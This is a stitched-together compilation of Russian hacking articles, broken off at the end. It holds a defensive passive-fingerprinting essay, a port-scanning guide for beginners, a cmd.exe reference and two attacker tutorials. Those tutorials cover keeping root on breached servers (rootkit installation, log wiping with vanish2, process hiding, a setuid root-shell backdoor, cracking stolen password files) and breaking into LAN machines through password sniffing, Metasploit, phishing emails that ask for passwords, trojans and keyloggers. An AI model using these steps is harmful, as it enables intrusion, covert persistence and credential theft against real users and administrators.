Один из самых захватывающих аспектов в сетевой безопасности - сбор информации об атакующих. Чтобы правильно оценить угрозу и лучше защищаться от них нужно знать врага. Пассивный сбор информации (passive fingerprinting) - метод, позволяющий узнать больше о враге, так чтобы он не узнал, что его разрабатывают. Говоря конкретно, вы можете узнать тип операционной системы и другие характеристики удаленной системы, используя одни лишь перехваченные фрагменты трафика. Хотя допустимы некоторые неточности, можно получить на удивление достоверные результаты. Craig Smith разработал программу, воплощающую идею, описанную здесь. Также the subterrain crew разработала siphon, инструмент для пассивного пробирования портов и определения операционной системы.

Fingerprinting

Традиционно идентификация операционных систем осуществлялась при помощи активных программ, таких как queso и nmap. Эти программы основываются на принципе, в соответствии с которым устройство IP-стека каждой операционной системы обладает своими внутренними особенностями. Например, каждая операционная система отвечает по-своему на некорректно сформированные пакеты. Все что нужно было сделать, это создать базу данных, описывающую, как различные операционные системы отвечают на различные пакеты. Чтобы определить, какая операционная система стоит на удаленном компьютере, нужно сформировать несколько некорректных пакетов, послать ей, проследить, как она на них отреагирует, и сравнить ответы с базой данных. Самым удачным решением, использующим эту технологию является nmap, написанный Fyodor, который также детально описал этот метод.

Пассивная идентификация основывается на тех же посылках, но осуществляется по- другому. Пассивная идентификация использует перехват пакетов, полученных от удаленной системы. Вместо того, чтобы "активно" запрашивать удаленный компьютер, все что нужно сделать, это перехватить посланные пакеты. В соответствии со структурой этих пакетов можно установить, какая операционная система стоит на удаленном хосте. Также как и активная идентификация, пассивные методы основываются на том, что IP-стеки разных операционных систем устроены по- разному. Проанализировав перехваты снифера и определив природу этих различий, вы сможете определить операционную систему удаленного хоста.

Отличительные особенности

Мы рассмотрим четыре области различий, позволяющих определить удаленную операционную систему (хотя существуют и другие отличительные элементы):

* TTL - Какая операционная система ставит какое Time To Live на исходящих пакетах

* Размер окна - Какая операционная система ставит какой размер окна

* DF - Устанавливает ли операционная система бит Don't Fragment

* TOS – Устанавливает операционная система Type of Service, и если да, во что

Анализируя эти особенности пакетов можно будет определить удаленную операционную систему. Эта методика не очень точна и работает лучше для одних операционных систем, чем для других. Данные, полученные только об одном из этих элементов, не могут служить стопроцентным показателем для определения операционной системы. Однако, сопоставляя несколько показателей и сравнивая информацию, вы увеличиваете вероятность правильного определения удаленного хоста.

Легче всего продемонстрировать это на примере. Ниже представлена трассировка трафика, посылаемого системой. Эта система попыталась запустить эксплоит mountd против моей системы, и я хочу узнать побольше о ней. Я не хочу делать finger или nmap, потому что это может меня выдать. Наоборот, я предпочел изучить информацию пассивно. Эта идентификация была проведена с использованием snort, моего любимого снифера.

04/20-21:41:48.129662 129.142.224.3:659 -> 172.16.1.107:604

TCP TTL:45 TOS:0x0 ID:56257

***F**A* Seq: 0x9DD90553 Ack: 0xE3C65D7 Win: 0x7D78

В соответствии с нашими четырьмя пунктами, мы устанавливаем следующие:

? TTL: 45

? Размер окна: 0x7D78 (или 32120 в десятичном формате)

? DF: бит «не фрагментировать» установлен

? TOS: 0x0

Далее мы сравниваем эту информацию с данными базы. Сначала смотрим TTL, используемый удаленным хостом. Выше указано, что TTL установлен в 45. Скорей всего, это означает, что пакет прошел через 19 узлов и что изначально TTL был установлен в 64. Исходя из TTL, можно заключить, что пакет был послан с Linux или с FreeBSD-машины (однако, необходима большая информация для точного определения). Такой TTL подтверждается traceroute (проверкой маршрута) к удаленной машине. Если вы боитесь, что система, которую вы отслеживаете, засечет ваш traceroute, вы можете установить TTL traceroute (по умолчанию 30) в величину, на один или два шага меньшую, чем удаленный хост (опция –m). Например, в этом случае мы бы трассировали этот хост, разрешив только 18 «прыжков» (traceroute –m 18). Это дает вам информацию о маршруте (включая об их провайдере), не посылая ничего самому хосту. Чтобы узнать больше о TTL, просмотрите документ о стандартных TTL.

Следующий шаг – проверить размер окна. Проверка размера окна оказалась другим очень эффективным методом идентификации ОС, особенно учет данных о том, каков этот размер и как часто он меняется. В приведенном выше примере, мы видим, что он установлен в 0x7D78 – размер окна, устанавливаемый по умолчанию системой Linux. Помимо этого, Linux, FreeBSD и Solaris, как правило, сохраняют один и тот же размер окна на протяжении всей сессии (как было в нашем примере). Однако, маршрутизаторы Cisco (во всяком случае, мой 2514) и Microsoft Windows/NT постоянно меняют размеры окна. Как оказалось, замерять размеры окна, лучше после трехстороннего хэндшейка TCP (поскольку TCP требуется определенное время для инициализации). Для более подробной информации о размере окна см. "TCP/IP Illustrated, Volume 1" Chapter 20, написанный Stevens.

Большинство систем используют установленный бит DF, так что он не многое нам сможет рассказать. Тем не менее, с его помощью гораздо легче идентифицировать некоторые системы, которые его не используют (такие как SCO или OpenBSD). После углубленного изучения оказалось что и TOS тоже малозначим. Он скорее зависит от конкретной сессии, чем от операционной системы. Другими словами, операционная система очень редко диктует TOS. TOS требует более детального изучения. Таким образом, исходя из указанной выше информации, особенно из TTL и размера окна, вы можете сравнить результаты с базой данных стандартных величин и с доверительной вероятностью определить тип операционной системы (в нашем случае Linux kernel 2.2.x).

Не стоит забывать, что точно так же как и активная идентификация, пассивные методы имеют ряд ограничений. Во-первых, программы, которые строят свои собственные пакеты (такие, как nmap, hunt, teardrop и т.п.) не будут использовать те же значения, что и операционная система. Во-вторых, удаленной машине относительно легко сменить установки TTL, размер окна, DF, и TOS для пакетов. Например, способы изменить стандартную величину TTL:

Solaris: ndd -set /dev/ip ip_def_ttl 'number'

Linux: echo 'number' > /proc/sys/net/ipv4/ip_default_ttl

NT: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es

\Tcpip\Parameters

Однако, учитывая сразу несколько параметров, в данном случае, TTL и размер окна, вы можете с уверенностью определтиь ОС.

Другие параметры и применения

Наши возможности не ограничиваются четырьмя описанными до сего момента параметрами. Есть и другие области, в которых стоит «покапаться», например, начальные номера последовательностей, идентификационные номера IP, и опции TCP или IP. Например, маршрутизаторы Cisco устанавливают идентификационные номера IP в 0, вместо того, чтобы случайным образом присваивать значения. Также можно использовать особенности ICMP. Max Vision описывает возможность изучения типов ICMP и опций TCP для определения удаленного хоста.

Например, запросы ICMP Microsoft состоят из букв, в то время как Solaris и Linux в ICMP REQUESTS используют номера и символы. Что касается опций TCP, то опция Selective Acknowledgement SackOK часто используется Windows и Linux, но, как правило, не применяется в FreeBSD или Solaris. Другим источником уникальных параметров может стать состояния пакетов, какой тип пакета использовался. Fyodor говорит, что «например, начальные SYN запросы могут быть золотой жилой (так же, как и ответы на них). RST пакеты тоже обладают некоторыми интересными особенностями, которые могут быть использованы для идентификации.» Эти и другие параметры могут учитываться на ряду с уже рассмотренными, чтобы облегчить идентификацию операционной системы.

Пассивная идентификация может использоваться в некоторых других целях. Ее могут использовать взломщики для «незаметного» сканирования. Например, чтобы определить опреационную систему потенциальной жертвы, например, веб-сервера, все что нужно сделать – это запросить страничку с него, а потом проанализировать результаты, которые выдает снифер. Это исключает необходимость использования активного программного обеспечения, которое может быть обнаружено с помощью различных IDS. Кроме этого, пассивная идентификация может использоваться для определения удаленных прокси. Поскольку прокси воспроизводят подсоединения к клиента, вероятно, можно идентифицировать прокси, с помощью обсуждаемых методов. организации могут определять «чужие» системы внутри своей сети, то есть системы, которых в сети быть не должно. Например, магазин на базе Microsoft или Sun легко может обнаружить системы на базе Linux и FreeBSD, которые таинственным образом появились в их сети. Пассивная идентификация может быть применена для учеты операционных систем, используемых в системе и их влияния и доли в общей работе сети. Лицам, заинтересованным в области информации, пассивная идентификация также позволяет быстро распознать критичные системы (как Unisys Mainframe).

Построение базы данных

База данных строилась по результатам тестирования систем с Telnet, FTP, HTTP и SSH протоколами. Есть необходимость в углубленном тестировании с другими протоколами, сессиями и системами. Если у вас есть какие-то новые параметры, чтобы добавить в базу данных, посылайте их по адресу lance@spitzner.net. Я особенно заинтересован в опциях TCP и IP, которые не указаны в базе данных.

Заключение

Пассивное сканирование дает вам возможность изучить врага, так, чтобы он этого не заметил. Хотя, несомненно, ни один из отдельных элементов сам по себе не идентифицирует системы, сопоставляя несколько параметры вы сможете сделать выводы, что стоит на удаленном компьютере.

====================================================================

IP-cканирование для самых маленьких: теория и практика

Халло рулёзным хаксорам. Сразу заметить стоит, что статья не расчитана на опытных какеров – скорее это из серии для обычного юзера.

С чего начинается взлом? Не знаю как у вас, а AFAIK со сбора инфы. Простейшим способом является на сегодня сканирование портов.

Перво-наперво: по возможности не сканьте со своего IP, не флудьте сканируемый сервак и не читайте дальше если вы не знаете что такое хост, IP, порт и т.д. и т.п.

REM Я не стану зачитывать спецификации TCP и UDP – кому надо найдёт себе всю инфу

Первым делом хорошо бы узнать вообще в сети ли хост – особенно если у вас диалап. Можете конечно тупо пинговать – но сурёзные хосты на icmp-echo не отвечают.

Нумба ван: полный коннект. Вы коннектитесь к порту, устанавливаете полное соединение и рвёте его. Вопервых это слишком просто, вовторых это видно в логах. С другой стороны результат есть а удалённому фаеру всё по барабану и скорость на высоте.

Нумба ту: SYN или полуконнект – вы типа хотите соедениться но типа не соединяетесь Это практически невозможно определить что есть гуд. Если же сервак вас за этим делом заметил и прибил ваш IP к чёрному, советую сканить его через нумба фо ака FIN.

Ещё хороший метод подсказал один товарисч – пардон имени не помню – старый добрый обход фаера через ФТП. Это пройдёт только если у вас есть доступ по фтп. Скорость никакая да и дырявых серваков мало.

C UDP намного сложнее – протокол сам по себе не задуман для получения подтверждения доставки. Короче не вдаваясь в подробности, чтобы сканить UDP нужен хороший сканнер или глубокие познания .

Поскольку для новичка вскрыть конкретный сервак задача нетривиальная, сканить мы сегодня будем диапазоны IP. Сканировать много IP руками неудобно – так что речь пойдёт о сканнерах. Я лично сижу под WinXP и пользоваться всеми прелестями nmap не могу.

REM Кто помнит именно им пользовалась Тринити во второй матрице

Этот сканнер считается лучшим и хорошо документирован – возможно об этом в другой раз. Вашему вниманию я представлю RUnmap (http://cherepovets-city.ru/insecure/runmap/). Этот сканнер построен на базе nmap, но доработан и переведён нашими ребятами. Хорошо документирован и обладает дикими возможностями. Лучшего под никсы вы возможно не найдёте !!!

А что делать любителям Виндов? Всё просто – есть чудесный nmap под винды:

nmapwin с http://aleron.dl.sourceforge.net – обычный GUI со всеми необходимыми возможностями или же http://www.eeye.com/html/Research/Tools/nmapnt.html - консольный но не менее удачный. Так или иначе нмап это средство профа, а нам с вами ламерам надо чего попроще.

Нуна: сканить диапазоны, быстро, на хилом канале, оконный фейс и чтобы автоматом крякал (ну эт я типа загнул).

Максимально близок к нашим требованиям ComLineScanner.

Это чистый сканнер портов без особенных наворотов. Но: сканит диапазоны, грабит баннеры сервисов/демонов, может пинговать через TimeStamp, и что очень приятно – выборочное сканирование и огромная скорость.

Тоесть: он может сканить сеть класса A, при этом сканит на всех машинах 23 и 80й порты, а те машини на которых один из них открыт сканит по полной программе не забывая записать баннеры и другую инфу в файл. Мечта идиота.

Скачать это чудо можно с http://foundstone.com/resources/freetools/scanline.zip

Там всё подробно описано – последний пример из доков как раз то что надо

Осталось только найти нужную сеть для взлома.

====================================================================

Держим права roota

Пишу эту статью и вспоминаю мои первые взломанные сервера %) Разумеется рутом на них я был недолгое время. Причем, сам удивлялся - почему же мое пребывание на сервере раскрыли и запатчили все дыры, через которые я ломал сервер. Теперь ситуация становится яснее - логвайперами я в то время не пользовался, да и за своей безопасностью мало следил... На этом трагическом вступлении мои воспоминания заканчиваются - сегодня я поведаю тебе основные правила, подчиняясь которым ты на много процентов повысишь твою "незамеченность" на зарутанном серваке

Итак, начнем. После удачного диалога с сервером у тебя получилось нечто:

Source code / Bash

bash$ gcc coolexploit.c -o cool

bash$ ./cool

Enjoy!

uid=0(root) gid=0(root)

bash#

После последней строки у многих начинается паника: что делать? Как не засветиться в дальнейшем и удержать права рута? Начнем с самого важного - создадим "невидимость" на сервере.

На любителя - установка руткитов, которые заменяют бинарники, типа /bin/ls /bin/netstat, etc... Если админ умный - то у него будет chrootkit и бекап системы. Проверяя контрольную сумму бинарников, он запросто вычислит твое пребывание... Но - это смотря какой админ

Подгрузка дополнительных модулей в ядро... Уже что-то. На этот счет, у меня два претендента на описание - sk-1.3a и adore. Обо всем по порядку:

sk-1.3a - по сути это подмененный /sbin/init+бинарник sk. Содержит сниффер (локальный - записывает stdin,stdout,stderr суид-бинарников), скрывает твои процессы и обеспечивает безопасный вход на сервер . По сути, /sbin/init - обеспечивает корректную работу с inetd-сервисами. Трояненный бинарник пускает тебя в систему, когда ты с помощью loginа от sk коннектишься на тачку на любой открытый сервисный порт. Удобно и просто... Побочные эффекты: сорит в логах о невозможности подгрузить модули в ядро... Админы могут заметить. Качать с http://sd.g-art.nl/sk/

adore - модуль ядра, который способен скрывать твои процессы и прятать файлы. Компилишь, затемinsmod adore.o; insmod cleaner.o; rmmod cleaner. После этих действий система загрузит адору и уберет модуль из lsmod. Также поставляется бинарник ava - прячет процессы и файлы на сервере. Побочные эффекты: Adore отрубает syslogd при первом сокрытии твоих процессов.. Нет поддержки входа на сервер... Так, что тебе потребуется user-account, чтобы воспользоваться этим руткитом. Брать с http://teso.scene.at/releases/adore-0.42.tgz

Итак, ты обеспечил себе вход на сервер... Далее следует чистка логов. В первое время доверять логвайперам не стоит, поэтому выполни следующее:

Source code / Bash

bash# tail -50 /var/log/messages;

tail -50 /var/log/auth.log;

tail -50 /var/log/secure

Если, ты увидишь заметки о твоем взломе/пребывании на сервере, делай vi logfile и чисти ненужные строки. Затем проверь почту rootа - возможно там есть мыло о взломе:

Source code / Bash

bash# mail -f /var/spool/mail/root

Warning... crc-attack detected & d1 & q

bash#

После того, когда ты уверен, что логи системы вычищены - качай http://packetstormsecurity.org/UNIX...ers/vanish2.tgz, компиль и выполняй:

Source code / txt

./vanish2 username 0 yourip

Этим ты сотрешь все строки своего пребывания на сервере (username - логин под которым ты засветился, yourip - твой ip адрес). Внимание! Когда ты небезопасно (под юзерским аккаунтом заходишь на сервер) - юзай vanish при каждом входе. Наилучший вариант - закинь бинарник в /usr/bin, а затем адорой скрой его. Если ты ходишь простым аккаунтом - скрой все свои процессы, например, таким кодом:

Source code / Bash

perl -e @ps=system("ps -u user | awk { print($1) } \");

foreach (@ps) { chomp; /usr/bin/ava i $_ }

Где user - твой логин, а /usr/bin/ava - _скрытый_бинарник адоры.

Итак, ты почистил логи и полностью уверен в своей безопасности... Дам тебе напоследок несколько советов, выполняя которые ты увеличишь срок хранения root-привелегий

Читай хистори юзеров. Часто они там оставляют рут-пароли либо пароли на mysql. В папке каждого пользователя (если он имеет shell /bin/bash) имеется скрытый файл .bash_history - найди их все: locate .bash_history и прочитай.

Не свети свои команды, но и не уводи историю рута в /dev/null. Этого делать не надо, так как админы могут по этому симлинку заметить, что их поломали: простой вариант - export HISTFILE=/dev/null при каждом запуске shell.

Бывает, что сервер ломают и до тебя. Чтобы "убить" прежних взломщиков и поглядеть, какие файлы они оставили на тачке - напиши следующие команды (в большинстве процентов, если сервер был взломан заранее, они увенчаются успехом):

Source code / Bash

find /dev -type d

find /tmp -type d

find / -type f -perm 4755

Если ты найдешь директории типа /dev/...или /tmp/.. - то в них что-то есть.

Как запасной вариант - создание суид-шелла. Через него ты можешь получить рута, но его могут засечь админы. Код такой:

Source code / Bash

int main()

{

setuid(0);

setgid(0);

system("bash");

}

Компилим, кидаем в бинарники под скромным именем... и возможно пользуемся им.

Разгадывай пароли пользователей. Попробуй john-ом прогнать всех пользователей на сервере в том числе и рута... Пробуй в качестве словаря тот язык, в зоне которого находится тачка.. Возможно сработает.

И наконец, не заходи на взломанную машину напрямую с твоего диалапа или прововской выделенки. Если напишут жалобу админу - то у тебя будут неприятности... Лучше зарегистри где-нибудь халявный шелл и юзай взломанный сервер через тамошний ssh-клиент.

====================================================================

Bзлом локальных машин

Способ I.

Этот способ заключается в использовании сниффера. Сниффер – это программа, которая перехватывает весь сетевой трафик. Объясняю принцип: некоторые локальные сети построены так, что весь сетевой трафик проходит через твою машину, но ты (что естественно) этот трафик не видишь. Почему? Сам подумай – кто захочет делиться своими паролями??? Никто!!! Поэтому сеть так и построена, что просто так ничего не увидишь. Для этого и используют снифферы – они перехватывают ВСЮ инфу, проходящую через твой комп! Вообще, снифферы создавались для диагностики сети, но потом им нашлось другое, более интересное применение:)

Конечно, если сниффер будет перехватывать все, то лог файл очень быстро переполнится. Оно тебе надо? Нет, наверное…если только ты админ, то тогда это очень полезно – можно продиагностировать сеть до мелочей. Но я сейчас о другом – ведь тебе нужны пароли, пароли…для этого настрой свой сниффер так, чтобы он перехватывал только первые 100-200 байт – обычно именно в этих первых байтах содержатся логин и пароль.

Посоветовать какой-то определенный сниффер не могу, т.к. среди снифферов нет лучшего. Разные снифферы, разные версии снифферов заточены под разные нужды, поэтому нужно выбирать исходя из принципа – для чего тебе конкретно сниффер? Ах да, чуть не забыл: снифферы ещё и на группы можно разделить – под UNIX, Windows. Причем не все сниффы под Винду будут работать скажем в WinXP, если они предназначены для Win98. И это очень важно при выборе сниффера!

Могу предложить парочку сниффов на пробу (все под винду): CommView – www.tamos.com (очень рекомендую!), SpyNet – www.packetstorm.securify.com (слабоват для КулХацкера, но потренироваться на нем можно), Analyzer – www.neworder.box.sk (тоже так себе снифф, обычный – ничего примечательного), IRIS - www.eeye.com (этот неплохой: много функций и работает нехило).

 

Способ II.

Использование эксплоитов. Эксплоит – это программа, которая использует какую-либо уязвимость сервера для известных целей:)

На форуме были сообщения типа «Где скачать эксплоит?» Отвечаю – сделай эксплоит сам! Это не шутка, ведь так лучше – сможешь сделать эксплоит для определенной цели (точнее для определенного порта). Для этого нужно скачать прогу Metasploit Framework – ИМХО самая лучшая (не помню, где-то читал о ней, скачал, понравилась, теперь только ей и пользуюсь). Эта прога предназначена для разработки и тестирования эксплоитов. Скачать можно тут http://www.metasploit.com. Только качай не ту, которая первая попадется, а, во-первых, последнюю версию, а во-вторых, ту, которая выпускается именно для твоей ОС. Есть для UNIX, есть для Windows. Качай и включай!

Разобраться с этой прогой достаточно просто, если знаешь английский, но я слышал есть к ней русификатор. Если он тебе нужен, то поищи, используя Google. Лично мне нет – я уже давно привык к английскому интерфейсу, да и уроки английского сделали свое дело…Также в сети Internet можно найти учебники по этой проге. При желании можно научиться работать с Metasploit Framework за одну неделю!

Объясню только принцип: ты сканируешь IP-адреса своей сети на дрявые порты (порт – это нечто такое, что можно назвать «проходом в рай» (в инет). Любая программа, выходя в Интернет открывает для себя свободный порт. Фишка в том, что открывает не только для себя – если порт не защищен, то им можно воспользоваться для проникновения на комп. Так вот, сканируешь, находишь, делаешь эксплоит под этот порт (скажем, порт 135 – широкоизвестная дыра в WinXP, её правда прикрыли во втором пакете, но ведь не все патчатся:) – задается командой set RPORT 135), забрасываешь на комп неприятеля и получаешь доступ к командной строке!!! Ну а дальше делай что хочешь: можешь запустить на взломанной машине FTP-сервер, через него закачать Троян и пользоваться чужим компом, как своим:).

 

Способ III.

Этот способ я считаю самым интересным – использование Социальной Инженерии (далее СИ). Прежде чем что-то взломать я всегда сначала прибегаю к СИ (если взломать надо не срочно), а уже потом, если человек попадается стойкий и не клюет на уловки, использую какой-либо другой способ.

Социальная Инженерия – это попытка выведать у легального пользователя компьютера информацию, необходимую для проникновения в его систему (обычно это логин и пароль), путем различных манипуляций и суггестий (внушений).

Не думаю, что надо рассказывать, как и что. О СИ в инете есть очень много книг и статей – достаточно в любом поисковике набрать «Социальная Инженерия – все о ней» ну или что подобное. А вообще многим начинающим не нравится этот способ, т.к. распространено мнение что это не для КулХацкеров. Не верьте!!! СИ появилась давно и будет существовать ещё очень долго, ибо юзеры и ламеры были и будут всегда!

Приведу парочку примеров для большего понимания:

Если ты используешь ICQ, то лучше представить противоположным полом (если жертва парень – то ты должен представиться девушкой или наоборот). Далее – ты не должен давать никаких намеков о том, что ты собираешься взломать своего собеседника. А то некоторые чуть ли не сразу переходят к делу и спрашивают инфу, непосредственно касающуюся логина и пароля. Так делать не надо – нужно сначала «подкатить» к жертве, «задобрить» её, а потом уже, когда жертва станет тебе доверять, аккуратными намеками выведать интересующую тебя информацию.

Если же ты пользуешься мылом, то тут ИМХО интереснее – нужно грамотно составить письмо. Вот примеры:

 

Здравствуйте уважаемый Вася_Дудкин@mail.ru

В связи с возникновением и (к несчастью) распространением в сети Internet

новейшего высокотехнологичного вируса с незамедлительными резидентными

способностями "HFiio5o", просим Вас ознакомиться с правилами, которые

помогут Вам защититься от поражения этого опаснейшего вируса.

 

НЕ ИГНОРИРУЙТЕ ЭТО СООБЩЕНИЕ!!!

 

Со всеми вопросами обращайтесь по адресу, с которого Вам было отправлено

это письмо. Мы всегда рады Вам помочь.

 

С уважением Администрация.

На это письмо столько ламерков нашлось! Это ж полная ерунда, вдумайтесь: высокотехнологичный вирус с незамедлительными резидентными способностями "HFiio5o"!!!:):):)

К письму «прилагался» трой:).

Или вот еще:

Здравствуйте Петя_Зюзиков@yandex.ru.

На ваш почтовый адрес и другие адреса была зарегистрирована

массовая рассылка писем с других провайдеров. Большое

количество писем было отфильтровано нашим спамфильтром. В

связи с неполадками спамзащиты, наш почтовый сервис

будет отключен на профилактические работы 25 (двадцать пятого)

числа этого месяца с 10.00 до 13.00 по местному времени.

Во избежание недоразумений просим вас сообщить ваши данные.

Данные нужно прислать именно в такой форме:

$userid=”Ваш_логин”

$passwid=”Ваш_пароль”

$questid=”Ваш_вопрос_для_восстановления_пароля”

$ansid=”Ваш_ответ_на_вопрос”

В общем, юзайте! Подобных писем можно придумать много. Напряги фантазию!:)

Способ IV.

Этот способ очень простой. Сканируешь XSpider’ом свою сетку, находишь полностью открытые и ничем не защищенные компы, цепляешь к себе винчестер жертвы, скидываешь троя – все! Дальше делаешь, что душе угодно! Просто, не так ли?

Или скидываешь не троя, а такую прогу, как «Заправила». Рульная прога! На форуме была парочка сообщений, касающихся этой проги, но, как я понял, её мало кто юзает. А тем не менее прога действительно рульная – хорошая скорость соединения, скорость скачивания (один гиг минут за 20-30), работает безотказно. Короче, советую.

А ещё можно скинуть клавиатурного шпиона – это такая прога, которая записывает всю информация, набранную на клавиатуре компьютера. Естественно, логины и пароли – не исключение.

Ну вот вроде бы и все. Можно только добавить ещё, что в УК РФ в Главе 28 есть статья 272.

Неправомерный доступ к компьютерной информации.

1. Неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на машинном носителе, в электронно-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети, - наказывается штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за

период от двух до пяти месяцев, либо исправительными работами на срок от шести месяцев до одного года, либо лишением свободы на срок до двух лет.

2. То же деяние, совершенное группой лиц по предварительному сговору или организованной группой либо лицом с использованием своего служебного положения, а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, - наказывается штрафом в размере от пятисот до восьмисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от пяти до восьми месяцев, либо исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев, либо лишением свободы на срок до пяти лет.


Cmd.EXE

МестонахождениеWindows\system32 / Описание- Windows Command Processor

В Windows XP имеется так называемая консоль - программа Cmd.exe, которая является командным интерпретатором. При простом запуске, без указания параметров командной строки, консоль отображает версию операционной системы, информацию о защите авторских прав разработчиков ОС и саму командную строку, в которой можно ввести как параметр командной строки самой программы Cmd.exe, так и любую внешнюю команду, например, команду на запуск другого приложения или стандартную команду, типа mkdir, del и т. п.

Параметры командной строки

Синтаксис для командной строки:

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]

[[/S] [/C | /K] команда]

Можно использовать одновременно несколько команд, используя между ними специальный разделитель - символы &&, при этом все сочетание нескольких команд должно быть заключено в кавычки, например, "команда&&команда&& команда".

/? - вызов справки

/A - вывод результатов выполнения заданной команды в формате ANSI

/C - выполнение заданной команды с последующим закрытием окна консоли

/D - отключение выполнения команд AutoRun (которые первыми автоматически выполняются при вызове cmd.exe), заданных в специальных разделах реестра HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun и HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

/E:ON (/E:OFF) - разрешение (запрет) расширений команд. В Windows XP по умолчанию включена расширенная обработка всех команд cmd.exe, этот параметр служит для включения / выключения расширений конкретного процесса. Расширенная обработка включает следующие команды: assoc, call, chdir (cd), color, del (erase), endlocal, for, ftype, goto, if, mkdir (md), popd, prompt, pushd, set, setlocal, shift, start (изменен также вызов внешних команд)

/F:ON (/F:OFF) - разрешение (запрет) завершения имен файлов и папок (по умолчанию выключено) конкретного вызова cmd.exe. Довольно удобная функция, позволяющая не вводить полностью вручную в окне консоли пути к файлам или имена самих папок, а ввести только часть длинного пути и с помощью нажатия специальной комбинации клавиш дать операционной системе найти подходящие варианты и просто выбрать нужный. (Если необходимо включить или отключить завершение имен для всех вызовов cmd.exe, то смотри Автонабор команд). Параметры пользователя имеют приоритет над параметрами компьютера, значение параметра /F командного процессора имеет приоритет над параметрами реестра. Microsoft вносит некоторые разъяснения по поводу использования этой функции: "Если завершение включено с помощью ключа командной строки / F:ON, то используются два управляющих символа: Ctrl+D для имен папок и Ctrl+F для имен файлов. Чтобы отключить конкретный символ завершения в системном реестре, в качестве кода специального символа используется шестнадцатеричное значение символа пробела (0 x 20). Завершение вызывается при вводе одного из этих двух специальных символов. Функция завершения берет строку пути слева от точки ввода, дописывает к ней символ шаблона, если таковой отсутствует, а затем строит список путей, которые соответствуют полученному определению. После этого выводится первый элемент этого списка соответствующих путей. Если же список пуст, то подается звуковой сигнал, и ничего не выводится. После этого повторный ввод того же самого специального символа приводит к циклическому перебору всех соответствующих путей. Нажатие клавиши Shift при вводе управляющего символа позволяет просматривать список путей в обратном порядке. Если изменить выведенный путь, а затем снова ввести управляющий символ, сохраненный список очищается, и строится новый список путей. То же самое происходит, если переключиться с одного символа завершения на другой. Единственное отли чие при использовании символа завершения файла состоит в том, что при этом для построения списка соответствия берется и путь, и имя файла, а при использовании символа завершения папки - только путь. Если символ завершения используется в одной из встроенных команд манипулирования папками (CD, MD или RD), то всегда подразумевается символ завершения папок. Символ завершения правильно работает и с именами файлов, содержащими пробелы или иные специальные символы, если при этом строка соответствия заключена в кавычки. Кроме того, если сместить точку ввода влево, а затем использовать символ завершения внутри строки, оставшийся справа от точки ввода текст будет отброшен. Специальные символы, которые требуют обязательного заключения в кавычки: <пробел>&()[]{}^=;!'+,~". Все понятно?

/K - выполнение заданной команды без последующего завершения (окно консоли не закроется)

/Q - отключение вывода команд на экран (ECHO OFF). /R - аналогичен параметру /C

/S - изменение поведения команды после /C или /K

/T:цвет - задание цвета текста и фона окна консоли. Параметр цвет имеет значение в виде двух шестнадцатеричных чисел: первое определяет цвет фона окна, а второе - текста в окне. То есть результатом выполнения команды "CMD /T:7С" будут светло-красные буквы на белом фоне.

/U - вывод результатов выполнения команды в формате Unicode

/V:ON (/V:OFF) - разрешение (запрет) отложенного расширения переменных среды (для конкретного вызова cmd.exe) с применением восклицательного знака "!" в качестве разделителя. Например, /V:ON разрешает использовать !var! в качестве расширения переменной var во время выполнения. Синтаксис var служит для расширения переменных при вводе, что приводит совсем к другим результатам внутри цикла FOR. При включенном отложенном расширении переменных среды символ "!" (восклицательный знак) может использоваться для замены текущего значения переменной среды во время выполнения; /X - означает то же, что и ключ /E:ON, из соображений совместимости; /Y то же, что и /E:OFF. И еще несколько замечаний. Если указаны ключи /C или /K, то остальная часть командной строки после такого ключа обрабатывается как командная строка, а обработка символов кавычек (") ведется таким образом. Символы кавычек в командной строке сохраняются, если выполняются все перечисленные ниже условия: ключ /S отсутствует; есть ровно два символа кавычек; между ними нет других специальных символов, как то: &<>()@^|; между ними имеются один или несколько пробелов; строка, заключенная в кавычки, является именем исполняемого файла. В противном случае проверяется первый символ, и если он является символом кавычек, то он удаляется, также удаляется последний символ кавычек в командной строке, а весь текст после этого последнего символа кавычек сохраняется.

Таблица для задания цвета текста и фона окна консоли

0 - черный         1 - синий             2 - зеленый       3 - голубой

4 - красный       5 - лиловый      6 - желтый         7 - белый

8 - серый            9 - светло-синий            A - светло-зеленый      B - светло-голубой

C - светло-красный       D - светло-лиловый     E - светло-желтый        F - ярко-белый

Кстати, цвет и другие настройки можно изменять и другим способом. Щелкните правой кнопкой мыши по строке заголовка окна и выберите пункт Свойства. Откроется окно с четырьмя вкладками, на которых будут доступны опции изменения настроек программы. Если вам не нравится стандартный черный экран командной строки, то на вкладке Color вам предлагается выбрать цвет экрана и текста либо из 16 стандартных цветов, для которых имеется соответствующие образцы, либо задав числовое значение цвета в формате RGB. На вкладке Layout настраивается размер окна и экранного буфера. Если в ранних ОС MS-DOS и Windows размер экрана оставался неизменным 25 строк в высоту и 80 символов в длину, и для вывода большего количества строк приходилось добавлять команду |more, то в системах NT и более поздних можно просто задать достаточно большой размер буфера экрана и пользоваться полосой прокрутки, что гораздо удобнее. Текст в окне командной строки Для копирования и вставки текста в окно командной строки обычные для Windows комбинации клавиш, такие как Ctrl+C, Ctrl+V, работать не будут. Для извлечения текста из буфера обмена вам придется вызвать меню, щелкнув правой кнопкой мыши по заголовку окна, и выбрать подменю Edit. Или же просто щелкните правой кнопкой по окну. Для копирования текста из окна выберите пункт Mark и мышью выделите нужный текст. Затем либо нажмите Enter, либо в том же меню выберите Copy. Если надо вставить какой-то текст в окно командной строки, обратитесь к команде Paste. Для повторного выполнения команды воспользуйтесь стрелками <<вверх>> и <<вниз >>, позволяющими перемещаться по списку выполненных команд. Для очистки экрана от текста служит директива cls.

Команды

TITLE - для изменения заголовка строки

